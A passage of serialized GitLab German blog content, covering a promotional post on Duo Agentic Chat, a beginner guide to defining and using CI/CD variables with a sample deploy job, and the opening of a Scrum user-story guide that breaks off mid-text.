einzige Anwendung, die alle wichtigen Entwicklungs-, Sicherheits- und Betriebswerkzeuge mit integrierter Sicherheitsintegration und KI-basierter Automatisierung vereint.\n\nWillst du GitLab in Aktion sehen? Entdecke interaktive (englischsprachige) Demos für:\n\n* [GitLab Premium und Ultimate mit Duo](https://gitlab.navattic.com/gitlab-premium-with-duo): Erlebe KI-Unterstützung bei der Entwicklung,\n* [Sicherheit in der CI/CD-Pipeline](https://gitlab.navattic.com/gitlab-scans): Sieh dir an, wie integriertes Sicherheitsscanning deine Software schützt.\n* [Compliance-Frameworks](https://gitlab.navattic.com/compliance): Erfahre, wie GitLab Richtlinien projektübergreifend durchsetzt, um eine bessere Governance zu gewährleisten.\n\n> Nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über die Zukunft der DevSecOps-Plattform zu erfahren, einschließlich der Rolle der agentischen KI. [Registriere dich noch heute!](https://about.gitlab.com/de-de/eighteen/)",[866],"Warum steigen Unternehmen auf eine einheitliche DevSecOps-Plattform um?",[787,746,680],"Erfahre mehr über die einheitliche DevSecOps-Plattform von GitLab, die Tools integriert, Sicherheit verbessert und KI für eine effiziente Softwareentwicklung nutzt.",{"slug":1492,"featured":6,"template":682},"why-are-organizations-moving-to-a-unified-devsecops-platform","content:de-de:blog:why-are-organizations-moving-to-a-unified-devsecops-platform.yml","Why Are Organizations Moving To A Unified Devsecops Platform","de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform.yml","de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"_path":1498,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1499,"content":1505,"config":1514,"_id":1516,"_type":16,"title":1517,"_source":17,"_file":1518,"_stem":1519,"_extension":20},"/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover",{"ogTitle":1500,"schema":1501,"ogImage":1502,"ogDescription":1503,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1504,"title":1500,"canonicalUrls":1504,"description":1503},"GitLab Duo Chat: Der neue KI-Assistent erklärt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Chat wird jetzt zum agentischen KI-Assistenten \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Torsten Linz\"}],\n        \"datePublished\": \"2025-05-29\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099203/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2820%29_2bJGC5ZP3WheoqzlLT05C5_1750099203484.png","Wir zeigen dir, was sich hinter dem GitLab Duo Chat verbirgt. ✓ Hintergrund ✓ Funktionen ✓ Anwendung ✓ Demonstration ➤ GitLab Duo Chat entdecken!","https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover",{"heroImage":1502,"body":1506,"authors":1507,"updatedDate":1509,"date":1510,"title":1511,"tags":1512,"description":1513,"category":677},"Generative KI-Chat-Assistenten sind in kurzer Zeit zum Standard in der\nSoftwareentwicklung geworden und helfen dabei, Code zu erstellen und zu\nverbessern. Stell dir nun vor, dein Chat-Assistent könnte die Artefakte\ndeines gesamten Entwicklungsprozesses und nicht nur deinen Code verstehen.\n\n\nWas wäre, wenn dieser Chat-Assistent dir hilft, Tickets und Projektdokumentationen zu bearbeiten, bevor er dich beim Programmieren unterstützt, und auf CI/CD-Pipelines und Merge Requests zugreifen könnte, um dich bei der ordnungsgemäßen Durchführung von Programmieraufgaben zu begleiten?\n\n\n**Lerne die nächste Generation von GitLab Duo Chat kennen – GitLab Duo Agentic Chat, eine bedeutende Weiterentwicklung in der KI-nativen Entwicklungsunterstützung und die neueste Ergänzung unserer Plattform, die jetzt als [experimenteller Release (nur in englischer Sprache)](https://docs.gitlab.com/policy/development_stages_support/#experiment) verfügbar ist.** \n\n\nGitLab Duo Agentic Chat ist für alle GitLab.com-Benutzer(innen) mit der Workflow-Erweiterung von GitLab in VS Code verfügbar.\n\n\nMit Agentic Chat ist der Chat nicht mehr bloß eine herkömmliche dialogorientierte KI, sondern wird zum Chat-Assistenten, der in deinem Namen selbst handelt und komplexe Probleme in einzelne Aufgaben unterteilt, die er lösen kann. Anstatt einfach nur Fragen mit deinem angegebenen Kontext zu beantworten, kann Agentic Chat:\n\n\n* **Autonom feststellen**, welche Informationen er braucht, um deine Fragen zu beantworten\n\n* **Eine Reihe von Vorgängen ausführen**, um diese Informationen aus verschiedenen Quellen zu sammeln\n\n* **Umfassende Antworten formulieren**, indem er Einblicke aus deinem gesamten Projekt kombiniert\n\n* **Dateien erstellen und bearbeiten**, um dir dabei zu helfen, Lösungen zu implementieren.\n\n\nDabei bleibt stets der Mensch als Entwickler(in) involviert.\n\n\nAgentic Chat basiert auf der Architektur von Duo Workflow, der derzeit in der [privaten Beta-Version verfügbar ist](https://about.gitlab.com/de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/). Die Architektur besteht aus Agenten und Tools, die bestimmte Aufgaben übernehmen, z. B. den richtigen Kontext für eine bestimmte Frage finden oder Dateien bearbeiten. \n\n\n**Anwendungsfälle für GitLab Duo Agentic Chat**\n\n\nHier findest du einige praktische und häufige Anwendungsfälle für Agentic Chat:\n\n\n* Arbeite dich schneller in neue Projekte ein, indem die KI dir hilft, mit einer neuen Codebase vertraut zu werden.\n\n* Lege sofort mit der zugewiesenen Arbeit los, auch wenn Ticketbeschreibungen unklar sind. Agentic Chat kann dir nämlich helfen, die Lücke zwischen Anforderungen und bestehenden Implementierungen zu überbrücken.\n\n* Wenn du Änderungen vornehmen möchtest, kann Agentic Chat die Implementierung übernehmen, indem er Dateien übergreifend über dein Projekt erstellt und bearbeitet.\n\n* Wenn ein Release ansteht, kann dir Agentic Chat helfen, zu überprüfen, ob deine Lösung die ursprünglichen Anforderungen auch tatsächlich erfüllt, indem er deinen Merge Request anhand des ursprünglichen Tickets oder der ursprünglichen Aufgabe überprüft.\n\n\n![Agentic Chat – Beispiel](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099210/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099210429.png)\n\n\n\u003Ccenter>\u003Ci>Agentic Chat bearbeitet Code\u003C/i>\u003C/center>\n\n\n## Vom Lernen zum Bereitstellen: eine komplette Workflow-Demonstration in vier Schritten\n\n\nUm dir zu zeigen, wie Agentic Chat das Entwicklererlebnis transformiert, sehen wir uns ein echtes Szenario unserer Entwicklungsteams an. Stell dir vor, du bist ein neues Teammitglied und hast ein Ticket zugewiesen bekommen, weißt aber nichts über die Codebase. Sieh dir diese Videodemonstration an:\n\n\n\u003C!-- blank line -->\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uG9-QLAJrrg?si=kaOhYylMIaWkIuG8j\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n\n**Schritt 1: Das Projekt verstehen**\n\n\nAnstatt manuell die Dateien und die Dokumentation zu durchforsten, kannst du einfach folgenden Prompt in Agentic Chat eingeben:\n\n\n```unset\n\nI am new to this project. Could you read the project structure and explain it to me?\n\n```\n\n\n(Ich kenne dieses Projekt noch nicht. Lies dir bitte die Projektstruktur durch und erkläre sie mir.)\n\n\nAgentic Chat bietet dir dann wir folgt einen umfassenden Projektüberblick:\n\n\n* Er sieht sich die Verzeichnisstruktur an.\n\n* Er liest README-Dateien und die Dokumentation.\n\n* Er identifiziert wichtige Komponenten und Anwendungen.\n\n\n**Schritt 2: Deine zugewiesene Aufgabe verstehen**\n\n\nNun musst du deine jeweilige Aufgabe verstehen. Gib dazu den folgenden Prompt ein:\n\n\n```unset\n\nI have been assigned Issue 1119. Could you help me understand this task, specifically where do I need to apply the refactoring?\n\n```\n\n\n(Mir wurde das Ticket 1119 zugewiesen. Hilf mir bitte, diese Aufgabe zu verstehen. Wo genau muss ich das Refactoring durchführen?)\n\n\nAgentic Chat erklärt dir die Aufgabe und schlägt einen Refactoring-Ansatz vor, indem er wie folgt vorgeht:\n\n\n* Er ruft die Details des Tickets vom GitLab-Remote-Server ab und analysiert sie.\n\n* Er untersucht relevante Projektdateien.\n\n* Er identifiziert die spezifischen Orte, für die Änderungen nötig sind.\n\n\n**Schritt 3: Die Lösung implementieren**\n\n\nAnstatt die Arbeit manuell zu erledigen, kannst du folgende Frage stellen:\n\n\n```unset\n\nCould you make the edits for me? Please start with steps one, two, three.\n\n```\n\n\n(Kannst du die Bearbeitungen für mich vornehmen? Bitte beginne mit den Schritten eins, zwei und drei.)\n\n\nAgentic Chat geht dann so vor:\n\n\n* Er erstellt, wenn nötig, neue Verzeichnisse und Dateien.\n\n* Er extrahiert und refaktorisiert Code an mehreren Stellen.\n\n* Er stellt die Konsistenz übergreifend über alle geänderten Dateien sicher.\n\n* Er erstelle eine Übersicht über alle vorgenommenen Änderungen.\n\n\n**Schritt 4: Vollständigkeit überprüfen**\n\n\nNachdem nun abschließend dein Merge Request erstellt wurde, kannst du deine Arbeit überprüfen:\n\n\n```unset\n\nDoes my MR fully address Issue 1119?\n\n```\n\n\n(Löst mein MR das Ticket 1119 vollständig?)\n\n\nAgentic Chat bestätigt nun, dass alle Anforderungen erfüllt werden, indem er sowohl deinen Merge Request als auch das ursprüngliche Ticket analysiert.\n\n\n## Probiere es jetzt aus und teile dein Feedback\n\n\nGitLab Duo Agentic Chat ist derzeit als experimentelle Funktion in VS Code für Benutzer(innen) von GitLab Duo Pro und GitLab Duo Enterprise verfügbar. In unserer [Einrichtungsdokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/) findest du die Voraussetzungen und Konfigurationsschritte.\n\n\nDa Agentic Chat derzeit nur eine experimentelle Funktion ist, hat er einige bekannte Einschränkungen, an denen wir derzeit aktiv arbeiten. Dazu gehören langsamere Reaktionszeiten aufgrund mehrerer API-Aufrufe, eine eher schlüsselwortbasierte als semantische Suche und eine eingeschränkte Unterstützung für neue lokale Ordner oder Nicht-GitLab-Projekte. **Dein Feedback ist wichtig, damit wir die Verbesserungen priorisieren und Agentic Chat bald allgemein verfügbar machen können. Teile daher bitte deine Erfahrungen in [diesem Ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/542198) mit uns.**\n\n\n## Wie geht es weiter?\n\n\nUnser Hauptaugenmerk liegt darauf, Agentic Chat zu verbessern und allgemein verfügbar zu machen. In der Zwischenzeit arbeiten wir daran, die Reaktionszeiten zu verbessern und Funktionen hinzuzufügen, die GitLab Duo Chat derzeit bietet, wie z. B. die Verwendung von selbst gehosteten Modellen oder die Unterstützung von JetBrains und Visual Studio zusätzlich zu VS Code. Sobald wir Duo Chat auf diese neue Architektur umgestellt haben, planen wir außerdem, Agentic Chat in die Chat-Funktion der GitLab-Webanwendung zu integrieren. Zudem sind viele weitere Funktionen geplant, wie z. B. die Bearbeitung von GitLab-Artefakten, die Unterstützung von Kontexten aus benutzerdefinierten Model-Context-Protocol- oder MCP-Servern und Befehle, die im Terminal ausgeführt werden können.\n\n\n> Möchtest du autonome Entwicklungsunterstützung erleben, bist aber noch kein(e) GitLab-Kund(in)? Probiere Agentic Chat jetzt im Rahmen [einer kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise](https://about.gitlab.com/de-de/free-trial/) aus und gestalte die Zukunft der KI-basierten Entwicklung mit. Folge diesen [Einrichtungsschritten für VS Code (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat-in-vs-code).\n\n\n***Haftungsausschlussklausel: Dieser Blog enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen in diesem Blogbeitrag nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die in diesem Blog und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab.***\n\n\n## Mehr erfahren\n\n\n* [GitLab Duo Workflow: Transparenz und Kontrolle für agentische KI auf Enterprise-Niveau](https://about.gitlab.com/de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n\n* [Was ist agentische KI?](https://about.gitlab.com/de-de/topics/agentic-ai/)\n\n* [Leitfäden und Ressourcen zu agentischer KI (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/agentic-ai-guides-and-resources/)\n",[1508],"Torsten Linz","2025-06-04","2025-05-29","GitLab Duo Chat: Entdecke den neuen KI-Assistenten",[679,723,745,746,680,767],"Unser neuer GitLab Duo Chat, der derzeit ein experimenteller Release ist, hilft Entwickler(inne)n, sich in Projekte einzuarbeiten, Aufgaben zu verstehen, Änderungen umzusetzen und mehr.",{"slug":1515,"featured":92,"template":682},"gitlab-duo-chat-gets-agentic-ai-makeover","content:de-de:blog:gitlab-duo-chat-gets-agentic-ai-makeover.yml","Gitlab Duo Chat Gets Agentic Ai Makeover","de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover.yml","de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover",{"_path":1521,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1522,"content":1528,"config":1536,"_id":1538,"_type":16,"title":1539,"_source":17,"_file":1540,"_stem":1541,"_extension":20},"/de-de/blog/getting-started-with-gitlab-working-with-ci-cd-variables",{"title":1523,"description":1524,"ogTitle":1523,"ogDescription":1524,"noIndex":6,"ogImage":1525,"ogUrl":1526,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1526,"schema":1527},"Erste Schritte mit GitLab: Arbeiten mit CI/CD-Variablen","Erfahre, was CI/CD-Variablen sind, warum sie in DevSecOps wichtig sind und wie du sie am besten einsetzt.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659525/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25.png","https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Erste Schritte mit GitLab: Arbeiten mit CI/CD-Variablen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2025-05-27\",\n      }",{"title":1523,"description":1524,"authors":1529,"heroImage":1525,"date":1531,"body":1532,"category":680,"tags":1533,"updatedDate":1401},[1530],"GitLab Team","2025-05-27","*Willkommen zu unserer Serie „Erste Schritte mit GitLab“, in der wir Neueinsteiger(inne)n helfen, sich mit der DevSecOps-Plattform von GitLab vertraut zu machen.* \n\nIn einem früheren Artikel haben wir uns mit [GitLab CI/CD](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-understanding-ci-cd/) beschäftigt. Jetzt tauchen wir tiefer in die Welt der **CI/CD-Variablen** ein und erschließen ihr volles Potenzial.\n\n## Inhaltsverzeichnis\n\n- [Was sind CI/CD-Variablen?](#was-sind-cicd-variablen%3F)\n- [Warum sind CI/CD-Variablen wichtig?](#warum-sind-cicd-variablen-wichtig%3F)\n- [Geltungsbereiche von CI/CD-Variablen: Projekt, Gruppe und Instanz](#geltungsbereiche-von-cicd-variablen-projekt-gruppe-und-instanz)\n- [Definieren von CI/CD-Variablen](#definieren-von-cicd-variablen)\n- [Verwenden von CI/CD-Variablen](#verwenden-von-cicd-variablen)\n- [Vordefinierte CI/CD-Variablen](#vordefinierte-cicd-variablen)\n- [Bewährte Methoden](#bewährte-methoden)\n- [Entdecke die Leistungsfähigkeit von Variablen](#entdecke-die-leistungsfähigkeit-von-variablen)\n- [Reihe „Erste Schritte mit GitLab\"](#reihe-„erste-schritte-mit-gitlab“)\n\n### Was sind CI/CD-Variablen?\n\nCI/CD-Variablen sind dynamische Schlüssel-Wert-Paare, die du auf verschiedenen Ebenen in deiner GitLab-Umgebung definieren kannst (z. B. Projekt, Gruppe oder Instanz). Diese Variablen fungieren als Platzhalter für Werte, die du in deiner `.gitlab-ci.yml`-Datei verwenden kannst, um deine Pipelines anzupassen, vertrauliche Informationen sicher zu speichern und deine CI/CD-Konfiguration besser zu pflegen.\n\n### Warum sind CI/CD-Variablen wichtig?\n\nCI/CD-Variablen bieten zahlreiche Vorteile:\n\n* **Flexibilität** – Du kannst deine Pipelines leicht an verschiedene Umgebungen, Konfigurationen oder Bereitstellungsziele anpassen, ohne dein zentrales CI/CD-Skript zu ändern. \n* **Sicherheit** – Speichere vertrauliche Informationen wie API-Schlüssel, Passwörter und Token sicher und verhindere so, dass sie in deinem Code offengelegt werden.  \n* **Wartbarkeit** – Verwalte deine CI/CD-Konfiguration sauber und übersichtlich, indem du Werte in Variablen zentralisierst, was Aktualisierungen und Änderungen erleichtert. \n* **Wiederverwendbarkeit** – Definiere Variablen einmal und verwende sie in mehreren Projekten wieder, um die Konsistenz zu fördern und doppelte Arbeit zu vermeiden.\n\n### Geltungsbereiche von CI/CD-Variablen: Projekt, Gruppe und Instanz\n\nMit GitLab kannst du CI/CD-Variablen mit unterschiedlichen Geltungsbereichen definieren und so ihre Sichtbarkeit und Zugänglichkeit steuern:\n\n* **Variablen auf Projektebene** – Diese Variablen sind spezifisch für ein einzelnes Projekt und eignen sich ideal zum Speichern von projektspezifischen Einstellungen, wie zum Beispiel:\n  * Bereitstellungs-URLs: Definiere unterschiedliche URLs für Staging- und Produktivumgebungen. \n  * Datenbank-Zugangsdaten: Speichere Details zur Datenbankverbindung für Tests oder die Bereitstellung.  \n  * Feature-Flags: Aktiviere oder deaktiviere Funktionen in verschiedenen Phasen deiner Pipeline.  \n  * Beispiel: Du hast ein Projekt mit dem Namen „MyWebApp“ und möchtest die URL für die Bereitstellung speichern. Du erstellst eine Variable auf Projektebene mit dem Namen `DPROD_DEPLOY_URL` und dem Wert `https://mywebapp.com`.  \n* **Variablen auf Gruppenebene** – Diese Variablen werden von allen Projekten innerhalb einer GitLab-Gruppe gemeinsam genutzt. Sie sind nützlich für Einstellungen, die für mehrere Projekte gleich sind, wie z. B.:\n\n  * API-Schlüssel für gemeinsam genutzte Dienste: Speichere API-Schlüssel für Dienste wie AWS, Google Cloud oder Docker Hub, die von mehreren Projekten innerhalb der Gruppe genutzt werden.  \n  * Globale Konfigurationseinstellungen: Lege gemeinsame Konfigurationsparameter fest, die für alle Projekte in der Gruppe gelten.  \n  * Beispiel: Du hast eine Gruppe mit dem Namen „Web-Apps“ und möchtest einen API-Schlüssel für Docker Hub speichern. Du erstellst eine Variable auf Gruppenebene mit dem Namen `DOCKER_HUB_API_KEY` und dem entsprechenden API-Schlüsselwert.  \n* **Variablen auf Instanzebene** – Diese Variablen sind für alle Projekte auf einer GitLab-Instanz verfügbar. Sie werden in der Regel für globale Einstellungen verwendet, die für das gesamte Unternehmen gelten, wie z. B.:\n\n  * Standard-Token für die Registrierung von Runnern: Lege ein Standard-Token für die Registrierung neuer [Runner (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/runner/) fest.  \n  * Lizenzinformationen: Hier kannst du Lizenzschlüssel für GitLab-Funktionen oder Tools von Drittanbietern speichern.  \n  * Globale Umgebungseinstellungen: Lege Umgebungsvariablen fest, die für alle Projekte verfügbar sein sollen.  \n  * Beispiel: Du möchtest ein Standard-Docker-Image für alle Projekte in deiner GitLab-Instanz festlegen. Du erstellst eine Variable auf Instanzebene mit dem Namen `DEFAULT_DOCKER_IMAGE` und dem Wert `ubuntu:latest`.\n\n### Definieren von CI/CD-Variablen\n\nSo definierst du eine CI/CD-Variable:\n\n1. Klicke auf die Schaltflächen **Einstellungen > CI/CD** für dein Projekt, deine Gruppe oder deine Instanz.  \n2. Gehe zum Abschnitt **Variablen**.  \n3. Klicke auf **Variable hinzufügen**.  \n4. Gib den **Schlüssel** (z. B. `API_KEY`) und den **Wert** ein.  \n5. Aktiviere optional das Kontrollkästchen **Variable schützen**, wenn es sich um vertrauliche Informationen handelt. Dadurch wird sichergestellt, dass die Variable nur für Pipelines verfügbar ist, die auf geschützten Branches oder Tags ausgeführt werden.  \n6. Aktiviere optional das Kontrollkästchen **Variable maskieren**, um den Wert der Variable in den Job-Protokollen auszublenden und eine versehentliche Offenlegung zu verhindern.  \n7. Klicke auf **Variable speichern**.\n\n### Verwenden von CI/CD-Variablen\n\nUm eine CI/CD-Variable in deiner `.gitlab-ci.yml`-Datei zu verwenden, stellst du dem Variablennamen einfach `$` voran:\n\n```yaml\ndeploy_job:\n  script:\n    - echo \"Deploying to production...\"\n    - curl -H \"Authorization: Bearer $API_KEY\" https://api.example.com/deploy\n```\n\n### Vordefinierte CI/CD-Variablen\n\nGitLab stellt [vordefinierte CI/CD-Variablen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/variables/predefined_variables/) bereit, die du in deinen Pipelines verwenden kannst. Diese Variablen liefern Informationen über die aktuelle Pipeline, den Job, das Projekt und mehr.\n\nEinige häufig verwendete vordefinierte Variablen sind:\n\n* `$CI_COMMIT_SHA`: Der Commit-SHA der aktuellen Pipeline.  \n* `$CI_PROJECT_DIR`: Das Verzeichnis, in dem das Projekt geklont wird.  \n* `$CI_PIPELINE_ID`: Die ID der aktuellen Pipeline.  \n*`$CI_ENVIRONMENT_NAME`: Der Name der Umgebung, in der bereitgestellt wird (falls zutreffend).\n\n### Bewährte Methoden\n\n* Verwalte vertrauliche Variablen sicher: Verwende geschützte und maskierte Variablen für API-Schlüssel, Passwörter und andere vertrauliche Informationen. \n* Vermeide das Hardcoding von Werten: Verwende Variablen zum Speichern von Konfigurationswerten, um deine Pipelines flexibler und wartbarer zu machen.  \n* Organisiere deine Variablen: Verwende aussagekräftige Namen und gruppiere verwandte Variablen, um sie besser zu organisieren.  \n* Verwende den richtigen Geltungsbereich: Wähle den richtigen Geltungsbereich (Projekt, Gruppe oder Instanz) für deine Variablen aus, je nach Verwendungszweck und Sichtbarkeit.\n\n### Entdecke die Leistungsfähigkeit von Variablen\n\nCI/CD-Variablen sind ein leistungsstarkes Tool zur Anpassung und Sicherung deiner GitLab-Pipelines. Wenn du verstanden hast, wie Variablen funktionieren und ihre unterschiedlichen Geltungsbereiche kennst, kannst du flexiblere, wartbarere und effizientere Workflows erstellen.\n\nWir hoffen, dass diese Informationen für dich hilfreich waren und du jetzt gut gerüstet bist, um die Möglichkeiten von GitLab für deine Entwicklungsprojekte zu nutzen.\n\n> Lege jetzt los mit CI/CD-Variablen mit einer [kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise](https://about.gitlab.com/de-de/free-trial/).\n\n## Reihe „Erste Schritte mit GitLab“\nLies weitere Artikel in unserer Serie „Erste Schritte mit GitLab“:\n\n- [Benutzerverwaltung](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [Projekte in GitLab importieren (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Projektmanagement](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-mastering-project-management/)\n- [Automatisiere Agile-Workflows mit dem gem gitlab-triage](https://about.gitlab.com/de-de/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n- [Grundlegendes zu CI/CD](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-understanding-ci-cd/)\n",[680,767,1534,1535,110,745],"CI","CD",{"slug":1537,"featured":92,"template":682},"getting-started-with-gitlab-working-with-ci-cd-variables","content:de-de:blog:getting-started-with-gitlab-working-with-ci-cd-variables.yml","Getting Started With Gitlab Working With Ci Cd Variables","de-de/blog/getting-started-with-gitlab-working-with-ci-cd-variables.yml","de-de/blog/getting-started-with-gitlab-working-with-ci-cd-variables",{"_path":1543,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1544,"content":1550,"config":1557,"_id":1559,"_type":16,"title":1560,"_source":17,"_file":1561,"_stem":1562,"_extension":20},"/de-de/blog/how-to-write-a-user-story-in-scrum",{"ogTitle":1545,"schema":1546,"ogImage":1547,"ogDescription":1548,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1549,"title":1545,"canonicalUrls":1549,"description":1548},"User Story: Der ultimative Guide für Scrum inkl. Beispiele","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So schreibst du eine User Story in Scrum\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-05-20\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661979/Blog/Hero%20Images/scrum-project-management.jpg","Wir zeigen dir, wie du eine effektive User Story in Scrum schreibst. ✓ Definition ✓ Nutzen ✓ Aufbau ✓ Beispiele ✓ Tipps & Tricks ➤ Jetzt Leitfaden lesen!","https://about.gitlab.com/blog/how-to-write-a-user-story-in-scrum",{"heroImage":1547,"body":1551,"authors":1552,"updatedDate":1553,"date":1553,"title":1554,"tags":1555,"description":1556,"category":976},"Die User Story ist ein sehr einfaches Konzept. Trotzdem hat sie die Projektplanung entscheidend verändert \\- und das, obwohl User Stories zum Beispiel in [Scrum](https://about.gitlab.com/de-de/blog/scrum-project-management-how-it-works/) nicht einmal vorkommen. \n\nGerade weil User Storys für die Teamarbeit so wichtig sind, stellen sie eine Herausforderung dar. Diskussionen um die richtige Formulierung einer User Story in Scrum oder ihre korrekte Bearbeitung in [Kanban](https://about.gitlab.com/de-de/blog/what-is-kanban/) können wertvolle Zeit verbrauchen. So empfinden viele das Konzept eher als undeutlich, aufwändig und belastend. \n\nWir glauben fest daran, dass eine tiefe Verinnerlichung von User Storys - gerade in der [agilen Methode](https://about.gitlab.com/de-de/solutions/agile-delivery/) - dich wirklich voranbringen kann. In diesem Artikel werden wir deshalb so praxisnah wie möglich demonstrieren, wie du sie nutzen kannst, um zu besseren Entscheidungen, Prozessen und Produkten zu gelangen.\n\n## Inhaltsverzeichnis\n\n- [Was ist eine User Story?](#was-ist-eine-user-story%3F)\n- [Warum sollte ich mit User Stories arbeiten?](#warum-sollte-ich-mit-user-stories-arbeiten%3F)\n- [Kann ich auch ohne User Stories auskommen?](#kann-ich-auch-ohne-user-stories-auskommen%3F)\n- [Welche Rolle spielen User Stories in Agile?](#welche-rolle-spielen-user-stories-in-agile%3F)\n- [User Stories in Scrum](#user-stories-in-scrum)\n- [Wie schreibe ich eine gute User Story?](#wie-schreibe-ich-eine-gute-user-story%3F)\n  - [Das 3C-Modell](#das-3c-modell)\n  - [INVEST](#invest)\n- [Scrum User Story: Aufbau und Beispiel](#scrum-user-story-aufbau-und-beispiel)\n  - [User-Story-Beispiel Schritt 1: 5 Whys](#user-story-beispiel-schritt-1-5-whys)\n  - [User-Story-Beispiel Schritt 2: Connextra-Template](#user-story-beispiel-schritt-2-connextra-template)\n  - [User-Story-Beispiel Schritt 3: Akzeptanzkriterien](#user-story-beispiel-schritt-3-akzeptanzkriterien)\n  - [Das Gherkin-Format](#das-gherkin-format)\n- [Agile Schätzung](#agile-schatzung)\n- [Story Points: Aufwand vs. Arbeitszeit](#story-points-aufwand-vs-arbeitszeit)\n- [Story Points in der Schätzung](#story-points-in-der-schatzung)\n  - [Planning Poker](#planning-poker)\n  - [Affinity Mapping](#affinity-mapping)\n- [Wer schreibt User Stories?](#wer-schreibt-user-stories%3F)\n\nWir werden dabei definieren, was User Stories sind, über das Schreiben und den Aufbau einer User Story informieren, Beispiele geben und dir zeigen, was eine gute User Story ausmacht. Doch fangen wir mit einer grundlegenden Frage an:\n\n## Was ist eine User Story?\n\nManche bezeichnen eine User Story schlicht als die kleinste Einheit (oder auch als ein „[Werkzeug](https://t2informatik.de/wissen-kompakt/user-story/)”) der agilen Methode. Andere, darunter auch die [Agile Scrum Group](https://scrumguide.de/user-story/), als eine „Beschreibung dessen, was ein Benutzer (User) will.” \n\nAus diesen Definitionsversuchen wird deutlich: **Eine User Story ist eigentlich gar keine „Geschichte”. Sie stellt vielmehr einen Ansatz dar, dein Produkt so zu verändern, dass es aus der Sicht der Kund(innen) ein neues, besseres Erlebnis bietet.** \n\nInnerhalb einer User Story ist ein neues Feature somit nur dann eine Verbesserung, wenn es Anwender(innen) einen ganz bestimmten, erfahrbaren Nutzen bietet. Eine Software zu „optimieren”, ohne nach diesem Nutzen zu fragen, wird dabei als nicht zielführend betrachtet. \n\nGute User Stories zu schreiben, bedeutet, dich in der Entwicklung von Kund(innen) leiten zu lassen und auf ihre Bedürfnisse und Wünsche hinzuarbeiten. Es bedeutet, den Fokus auf Features hinter dir zu lassen und dich in Richtung einer Betrachtungweise zu bewegen, bei der echte Wertschöpfung in den Mittelpunkt gestellt wird. \n\nDennoch wurde der Begriff „Story”, wie Jeff Patton, einer der geistigen Väter der modernen User Story betont hat, mit Bedacht gewählt. Wir werden darauf später noch genauer eingehen. \n\n## Warum sollte ich mit User Stories arbeiten?\n\nDiese Frage stellt sich in einigen Teams wohl so manche(r). Denn in der Praxis nimmt sich die Arbeit mit User Stories nicht immer einfach aus. Dennoch lohnt sich die investierte Mühe zweifelsohne. Denn das Konzept der User Story mag auf dem Papier fast schon banal anmuten. In Wahrheit steckt dahinter eine entscheidende Neuausrichtung der Entwicklungsarbeit:\n\n* User Stories legen den Fokus voll und ganz auf die Anwender(innen) \\- also auf diejenigen, die das Produkt nutzen, bewerten und bezahlen.   \n* Sie verlagern den Schwerpunkt von „objektiven” Features auf das „subjektive” Erlebnis, mit diesen Features zu arbeiten. Hier kommt der „Story-Gedanke” zum Tragen: Wie wertvoll dein Produkt aus Sicht der Kund(innen) ist, hängt von der Geschichte ab, die sich User(innen) darüber bilden.   \n* Damit kombinieren diese Stories beide Sichten auf ein Produkt: Die 